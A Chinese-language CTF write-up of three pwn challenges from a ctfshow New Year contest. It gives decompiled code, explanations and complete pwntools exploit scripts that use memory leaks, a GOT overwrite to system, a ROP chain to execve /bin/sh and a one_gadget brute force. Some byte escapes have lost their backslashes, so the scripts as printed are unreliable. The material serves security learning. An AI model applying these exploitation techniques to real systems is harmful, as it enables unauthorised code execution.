ctfshow
元旦水友赛不愧是群友出题,利用姿势千奇百怪的。就连五星上将麦克阿瑟都忍不住表示,如果蓝桥杯是由群友出题,那么就没有CISCN
什么事了。
三题栈溢出,两题堆溢出,还有一题go
的沙箱逃逸。由于堆出的是tcache
出现的版本,我还没看到那,就只研究了栈溢出的题目。
1、Badboy
题目描述:坏男孩的心思你不懂
main
函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned __int8 v4; // [rsp+7h] [rbp-19h] BYREF
__int64 v5; // [rsp+8h] [rbp-18h] BYREF
__int64 buf[2]; // [rsp+10h] [rbp-10h] BYREF
buf[1] = __readfsqword(0x28u);
init_func(argc, argv, envp);
buf[0] = 'gfedcba';
v5 = 0LL;
while ( (_DWORD)kl )
{
puts("i am bad boy ");
__isoc99_scanf("%ld", &v4);
write(1, (char *)buf + v4, (unsigned int)kl);
LODWORD(kl) = kl - 3;
}
printf("because i'm not girl ");
read(0, buf, 3uLL);
printf("so can you fell me? ");
__isoc99_scanf("%lld", &v5);
if ( v5 > 8 )
exit(0);
printf("HaHaHa ");
read(0, (char *)buf + v5, 3uLL);
puts((const char *)buf);
return 0;
}
其中kl
是.data
段的数据,值等于6
。
给出writeup
:
from pwn import *
context(arch="amd64", os="linux")
context.log_level = "debug"
# p = process("./BadBoy-2")
p = remote("pwn.challenge.ctf.show", 28217)
elf = ELF("./BadBoy-2")
libc = elf.libc
p.sendlineafter(b"i am bad boy n", b"40")
buf_addr = u64(p.recv(6).ljust(0x8, b"x00")) - 0xf8
log.success(f"buf_addr: {hex(buf_addr)}")
p.sendlineafter(b"i am bad boy n", b"24")
libc_start_main = u64(p.recv(3).ljust(0x8, b"x00")) - 231
log.success(f"libc_start_main: {hex(libc_start_main)}")
p.sendlineafter(b"because i'm not girl ", b"shx00")
puts_got = elf.got["puts"]
v8 = -buf_addr + puts_got
p.sendlineafter(b"so can you fell me? ", str(v8).encode("latin-1"))
system_addr = libc_start_main - libc.sym["__libc_start_main"] + libc.sym["system"]
payload = p64(system_addr)
log.success(hex(system_addr))
p.sendlineafter(b"HaHaHa ", payload)
p.interactive()
首先是程序中给出了两次任意地址读的机会。首先考虑泄露栈地址。通过调试发现:
在距离buf
有0x28
长度的地址(0x7ffd58472238 - 0x7ffd58472210 = 0x28
)储存了一个栈地址(0x7ffd58472308
),计算一下与buf
地址的偏移,得到buf
的地址。
p.sendlineafter(b"i am bad boy n", b"40")
buf_addr = u64(p.recv(6).ljust(0x8, b"x00")) - 0xf8
log.success(f"buf_addr: {hex(buf_addr)}")
第二次读取libc
地址内某个地址的后三字节,从上图可知,在地址为0x7ffd58472228
的地方储存着__libc_start_main+231
的值,故利用这个值来leak
出libc
基地址的后三个字节。
p.sendlineafter(b"i am bad boy n", b"24")
libc_start_main = u64(p.recv(3).ljust(0x8, b"x00")) - 231
log.success(f"libc_start_main: {hex(libc_start_main)}")
由于程序莫名其妙的在最后执行了puts((const char *)buf);
语句,可以联想到可能是更改puts
函数的got
表来实现getshell
(我当时做的时候反正是没想出来)
所以在buf
处读入字符串shx00
。
p.sendlineafter(b"because i'm not girl ", b"shx00")
之后程序在v5
处读入一个值,并判断是否大于8
,这里可以考虑输入负数来覆盖到got
表。
puts_got = elf.got["puts"]
v8 = -buf_addr + puts_got
p.sendlineafter(b"so can you fell me? ", str(v8).encode("latin-1"))
使用partial write
往puts
函数的got
表处写入system
函数的地址。
最后当执行puts(buf)
的时候就能实现getshell
。
所以其实,只需要leak
出libc
的后三字节即可
2、s.a.a.l
题目描述:这个程序怎么一个输出函数都没有?
main
函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4; // [rsp+0h] [rbp-58h] BYREF
read(0, &v4, 0x50uLL);
zz_zz();
Zz_Zz_955();
return 0;
}
zz_zz()
:
__int64 zz_zz()
{
unsigned int v0; // eax
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
v0 = time(0LL);
srand(v0);
return (unsigned int)(rand() % 15 + 45);
}
Zz_Zz_955()
:
__int64 Zz_Zz_955()
{
int v0; // eax
__int64 v1; // rdi
signed int v2; // esi
unsigned int seed; // [rsp+0h] [rbp-28h] BYREF
char v5[8]; // [rsp+4h] [rbp-24h] BYREF
__int16 v6; // [rsp+Ch] [rbp-1Ch]
__int16 v7; // [rsp+Eh] [rbp-1Ah]
v7 = 0;
strcpy(v5, "h/sinb");
v5[7] = 0;
v6 = 0;
__isoc99_scanf(&unk_400984, &seed);
srand(seed);
seed = 0;
do
{
v0 = rand();
v1 = (int)seed++;
v2 = seed;
d[v1] = v5[v0 % 6]; // d[0] = v5[v0 % 6]
}
while ( v2 <= 6 );
read(0, &v5[6], 0x58uLL);
return 0LL;
}
重点在Zz_Zz_955
函数内,从用户读取seed
,然后生成随机数,根据随机数从字符串"h/sinb"
中取值放到d
数组中,共7
次机会,这边就是用来拼成/bin/sh
字符串的。关于seed
的生成,可以参考:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
for (unsigned int seed = 1; seed < UINT_MAX; ++seed) {
srand(seed);
int result[7];
for (int i = 0; i < 7; ++i) {
result[i] = rand() % 6;
}
if (result[0] == 1 && result[1] == 5 && result[2] == 3 &&
result[3] == 4 && result[4] == 1 && result[5] == 2 &&
result[6] == 0) {
printf("Found seed: %un", seed);
break;
}
}
return 0;
}
得到的结果为:38856
在查找gadget
的时候发现:
有对rax
的语句,而且:
存在syscall
语句,妥妥的系统调用实现getshell
。
没有对rdx
赋值的gadget
,但是可以在程序中发现:
可以利用这个语句将rdx
置成0
。通过调试发现,在执行syscall
前的rdx
的值为1
,所以在payload
最后加上了p64(1)
。
所以最终的write up
为:
from pwn import *
context(arch="amd64", os="linux")
context.log_level = "debug"
# p = process("./s.s.a.l")
p = remote("pwn.challenge.ctf.show", 28225)
elf = ELF("./s.s.a.l")
bin_sh_addr = 0x601090
prax_ret = 0x400668
syscall = 0x400760
xor_rdx = 0x400838
payload = p64(0) + p64(bin_sh_addr) + p64(prax_ret) + p64(59) + p64(xor_rdx) + p64(syscall) + p64(1)
p.sendline(payload)
p.send(b"38856")
offset = 31
prsi_rdi_ret = 0x400831
payload = b"a" * offset + p64(prsi_rdi_ret)
p.send(payload)
p.interactive()
3、yes_or_no
题目描述:点头yes摇头no,来是come去是go (脸黑的绕道QaQ)
main
函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
no();
return yes();
}
no
函数:
; void no()
public no
no proc near ; CODE XREF: main+9↑p
; __unwind {
push rbp
mov rbp, rsp
add r12, rsp
add r15, rsp
leave
retn
no endp
align 2
pop rbp
retn
; } // starts at 401141
yes
函数:
ssize_t yes()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
return read(0, buf, 0x40uLL);
}
此外,程序中存在以下的gadget
:
我当时的时候还在想,这个r12
和r15
寄存器有啥用,看了wp
之后才意识到跟one_gadget
的利用条件相关,可恶应该早点意识到的。
解题思路大概是不断将返回地址设置为yes
函数,利用leave; ret
操作将栈顶不断往下移,除了__libc_start_main
,还有一个libc
上的值也在栈上,但是需要经过调试才能知道。
此时距离栈顶有0x78
的距离,刚好将栈顶往下移0x78 / 8 = 15
次即可。然后利用partial write
将这个地址的后六位进行覆盖,由于后三位的值能确定,也就是说要爆破前面三位,成功概率为:1/0xfff
。
官方的writeup
如下:
from pwn import *
from time import sleep
context(arch="amd64", os="linux")
# context.log_level = "debug"
# p = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
one_gadget = 0xe3b2e
pr12_ret = 0x401176
pr15_ret = 0x401179
ret = 0x401178
yes_addr = 0x401150
while(1):
try:
p = process("./pwn")
# p = remote("pwn.challenge.ctf.show", 28268)
except:
sleep(1)
continue
p.send(b"a" * 0x20 + b"b" * 0x8 + p64(pr12_ret) + p64(0) + p64(yes_addr))
sleep(0.01)
p.send(b"a" * 0x20 + b"b" * 0x8 + p64(pr15_ret) + p64(0) + p64(yes_addr))
sleep(0.01)
for i in range(15):
p.send(b"a" * 0x20 + b"b" * 0x8 + p64(yes_addr))
sleep(0.01)
p.send(b"a" * 0x20 + b"b" * 0x8 + b"x2ex3bx0e")
try:
p.sendline(b"echo sess")
if b"sess" in p.recv(1024):
p.interactive()
except Exception:
p.close()
continue
我脸黑,反正我是一直没爆破出来()
但是做这题的时候我发现,之前讲过的《read
函数 + 栈溢出的新型利用》一文中提到的思路在这题也能实现一点效果,只不过这题开启了Full Relro
,所以不能使用dl_resolve
来实现getshell
。计划出一篇相关的文章来介绍当本题关闭Full Relro
之后的另一种利用方法。
总结
这次三题我只写出来了一题s.a.a.l
,其他的两题都是考完试后才看wp
理解的,总的来说还是学到许多东西。
原文始发于微信公众号(Stack0verf1ow):【PWN】ctfshow元旦水友赛题目解析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论